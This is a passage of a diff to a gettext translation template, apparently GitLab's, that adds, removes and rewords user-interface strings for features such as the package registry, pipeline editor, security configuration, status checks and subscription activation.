+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
